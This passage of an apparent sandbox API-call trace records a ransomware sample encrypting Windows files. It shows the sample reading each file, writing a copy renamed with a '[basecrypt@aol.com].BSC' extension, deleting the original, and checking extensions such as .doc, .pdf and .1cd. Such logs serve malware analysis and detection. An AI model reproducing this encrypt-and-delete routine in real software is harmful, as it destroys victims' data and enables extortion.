nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0xed90, lpOverlapped=0x0) returned 1 [0103.758] WriteFile (in: hFile=0x31c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0103.760] ReadFile (in: hFile=0x320, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.760] WriteFile (in: hFile=0x31c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.760] SetEndOfFile (hFile=0x31c) returned 1 [0103.760] CloseHandle (hObject=0x31c) returned 1 [0103.764] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.764] SetEndOfFile (hFile=0x320) returned 1 [0103.766] CloseHandle (hObject=0x320) returned 1 [0103.766] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.766] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0103.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.767] lstrlenW (lpString=".doc") returned 4 [0103.767] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString=".docx") returned 5 [0103.767] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.767] lstrlenW (lpString=".pdf") returned 4 [0103.767] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString=".xls") returned 4 [0103.767] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString=".xlsx") returned 5 [0103.767] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.767] lstrlenW (lpString=".ppt") returned 4 [0103.767] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.767] lstrlenW (lpString=".zip") returned 4 [0103.767] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.767] lstrlenW (lpString=".rar") returned 4 [0103.767] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString=".bz2") returned 4 [0103.767] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString=".7z") returned 3 [0103.767] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.767] lstrlenW (lpString=".dbf") returned 4 [0103.767] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.768] lstrlenW (lpString=".1cd") returned 4 [0103.768] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.768] lstrlenW (lpString=".jpg") returned 4 [0103.768] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.768] lstrlenW (lpString=".doc") returned 4 [0103.768] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.768] lstrlenW (lpString=".docx") returned 5 [0103.768] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.768] lstrlenW (lpString=".pdf") returned 4 [0103.768] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.768] lstrlenW (lpString=".xls") returned 4 [0103.768] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.768] lstrlenW (lpString=".xlsx") returned 5 [0103.768] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.768] lstrlenW (lpString=".ppt") returned 4 [0103.768] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.768] lstrlenW (lpString=".zip") returned 4 [0103.768] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.768] lstrlenW (lpString=".rar") returned 4 [0103.768] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.768] lstrlenW (lpString=".bz2") returned 4 [0103.768] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.769] lstrlenW (lpString=".7z") returned 3 [0103.769] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.769] lstrlenW (lpString=".dbf") returned 4 [0103.769] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.769] lstrlenW (lpString=".1cd") returned 4 [0103.769] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.769] lstrlenW (lpString=".jpg") returned 4 [0103.769] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.769] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.769] lstrlenW (lpString="UiInfo.xml") returned 10 [0103.769] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0103.773] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=39042) returned 1 [0103.773] CloseHandle (hObject=0x320) returned 1 [0103.774] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0103.774] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.774] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0103.774] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.774] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.774] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0103.956] GetLastError () returned 0x0 [0103.956] ReadFile (in: hFile=0x320, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x9882, lpOverlapped=0x0) returned 1 [0104.149] WriteFile (in: hFile=0x32c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0x9890, lpOverlapped=0x0) returned 1 [0104.151] ReadFile (in: hFile=0x320, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.151] WriteFile (in: hFile=0x32c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xe8, lpOverlapped=0x0) returned 1 [0104.151] SetEndOfFile (hFile=0x32c) returned 1 [0104.152] CloseHandle (hObject=0x32c) returned 1 [0104.153] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.153] SetEndOfFile (hFile=0x320) returned 1 [0104.202] CloseHandle (hObject=0x320) returned 1 [0104.203] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0104.203] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0104.203] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0104.203] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0104.203] lstrlenW (lpString=".doc") returned 4 [0104.203] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.203] lstrlenW (lpString=".docx") returned 5 [0104.203] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.203] lstrlenW (lpString=".pdf") returned 4 [0104.203] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.203] lstrlenW (lpString=".xls") returned 4 [0104.204] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.204] lstrlenW (lpString=".xlsx") returned 5 [0104.204] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.204] lstrlenW (lpString=".ppt") returned 4 [0104.204] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0104.204] lstrlenW (lpString=".zip") returned 4 [0104.204] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.204] lstrlenW (lpString=".rar") returned 4 [0104.204] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.204] lstrlenW (lpString=".bz2") returned 4 [0104.204] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.204] lstrlenW (lpString=".7z") returned 3 [0104.204] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0104.204] lstrlenW (lpString=".dbf") returned 4 [0104.204] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0104.204] lstrlenW (lpString=".1cd") returned 4 [0104.204] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0104.204] lstrlenW (lpString=".jpg") returned 4 [0104.204] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0104.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0104.205] lstrlenW (lpString=".doc") returned 4 [0104.205] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.205] lstrlenW (lpString=".docx") returned 5 [0104.205] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.205] lstrlenW (lpString=".pdf") returned 4 [0104.205] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.205] lstrlenW (lpString=".xls") returned 4 [0104.205] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.205] lstrlenW (lpString=".xlsx") returned 5 [0104.205] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.205] lstrlenW (lpString=".ppt") returned 4 [0104.205] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0104.205] lstrlenW (lpString=".zip") returned 4 [0104.205] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.205] lstrlenW (lpString=".rar") returned 4 [0104.205] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.205] lstrlenW (lpString=".bz2") returned 4 [0104.205] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.205] lstrlenW (lpString=".7z") returned 3 [0104.205] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0104.205] lstrlenW (lpString=".dbf") returned 4 [0104.205] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0104.206] lstrlenW (lpString=".1cd") returned 4 [0104.206] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0104.206] lstrlenW (lpString=".jpg") returned 4 [0104.206] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.206] lstrcmpiW (lpString1=".xsd", lpString2=".BSC") returned 1 [0104.206] lstrlenW (lpString="SetupUi.xsd") returned 11 [0104.206] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0104.206] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=30120) returned 1 [0104.206] CloseHandle (hObject=0x320) returned 1 [0104.206] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0104.206] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0104.207] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0104.207] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.207] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.207] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0104.207] GetLastError () returned 0x0 [0104.207] ReadFile (in: hFile=0x320, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x75a8, lpOverlapped=0x0) returned 1 [0104.350] WriteFile (in: hFile=0x32c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0x75b0, lpOverlapped=0x0) returned 1 [0104.352] ReadFile (in: hFile=0x320, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.352] WriteFile (in: hFile=0x32c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xea, lpOverlapped=0x0) returned 1 [0104.352] SetEndOfFile (hFile=0x32c) returned 1 [0104.352] CloseHandle (hObject=0x32c) returned 1 [0104.353] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.353] SetEndOfFile (hFile=0x320) returned 1 [0104.355] CloseHandle (hObject=0x320) returned 1 [0104.355] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0104.355] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0104.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.355] lstrlenW (lpString=".doc") returned 4 [0104.356] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0104.356] lstrlenW (lpString=".docx") returned 5 [0104.356] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0104.356] lstrlenW (lpString=".pdf") returned 4 [0104.356] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0104.356] lstrlenW (lpString=".xls") returned 4 [0104.356] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0104.356] lstrlenW (lpString=".xlsx") returned 5 [0104.356] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0104.356] lstrlenW (lpString=".ppt") returned 4 [0104.356] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0104.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.356] lstrlenW (lpString=".zip") returned 4 [0104.356] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0104.356] lstrlenW (lpString=".rar") returned 4 [0104.356] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0104.356] lstrlenW (lpString=".bz2") returned 4 [0104.356] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0104.356] lstrlenW (lpString=".7z") returned 3 [0104.356] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0104.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.356] lstrlenW (lpString=".dbf") returned 4 [0104.356] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0104.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.356] lstrlenW (lpString=".1cd") returned 4 [0104.356] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0104.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.357] lstrlenW (lpString=".jpg") returned 4 [0104.357] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0104.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.357] lstrlenW (lpString=".doc") returned 4 [0104.357] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0104.357] lstrlenW (lpString=".docx") returned 5 [0104.357] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0104.357] lstrlenW (lpString=".pdf") returned 4 [0104.357] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0104.357] lstrlenW (lpString=".xls") returned 4 [0104.357] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0104.357] lstrlenW (lpString=".xlsx") returned 5 [0104.357] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0104.357] lstrlenW (lpString=".ppt") returned 4 [0104.357] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0104.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.357] lstrlenW (lpString=".zip") returned 4 [0104.357] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0104.357] lstrlenW (lpString=".rar") returned 4 [0104.358] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0104.358] lstrlenW (lpString=".bz2") returned 4 [0104.358] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0104.358] lstrlenW (lpString=".7z") returned 3 [0104.358] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0104.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.358] lstrlenW (lpString=".dbf") returned 4 [0104.358] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0104.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.358] lstrlenW (lpString=".1cd") returned 4 [0104.358] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0104.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.358] lstrlenW (lpString=".jpg") returned 4 [0104.358] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0104.358] lstrcmpiW (lpString1=".bmp", lpString2=".BSC") returned -1 [0104.358] lstrlenW (lpString="watermark.bmp") returned 13 [0104.359] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0104.359] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=104072) returned 1 [0104.359] CloseHandle (hObject=0x320) returned 1 [0104.359] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0104.359] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0104.359] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0104.359] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.359] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.359] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0104.360] GetLastError () returned 0x0 [0104.360] ReadFile (in: hFile=0x320, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x19688, lpOverlapped=0x0) returned 1 [0104.684] WriteFile (in: hFile=0x32c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0x19690, lpOverlapped=0x0) returned 1 [0104.686] ReadFile (in: hFile=0x320, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.687] WriteFile (in: hFile=0x32c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xee, lpOverlapped=0x0) returned 1 [0104.687] SetEndOfFile (hFile=0x32c) returned 1 [0104.687] CloseHandle (hObject=0x32c) returned 1 [0104.691] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.692] SetEndOfFile (hFile=0x320) returned 1 [0104.693] CloseHandle (hObject=0x320) returned 1 [0104.693] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0104.694] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0104.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.694] lstrlenW (lpString=".doc") returned 4 [0104.694] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0104.694] lstrlenW (lpString=".docx") returned 5 [0104.694] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0104.694] lstrlenW (lpString=".pdf") returned 4 [0104.694] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0104.694] lstrlenW (lpString=".xls") returned 4 [0104.694] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0104.694] lstrlenW (lpString=".xlsx") returned 5 [0104.694] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0104.694] lstrlenW (lpString=".ppt") returned 4 [0104.694] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0104.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.694] lstrlenW (lpString=".zip") returned 4 [0104.694] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0104.694] lstrlenW (lpString=".rar") returned 4 [0104.695] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0104.695] lstrlenW (lpString=".bz2") returned 4 [0104.695] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0104.695] lstrlenW (lpString=".7z") returned 3 [0104.695] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 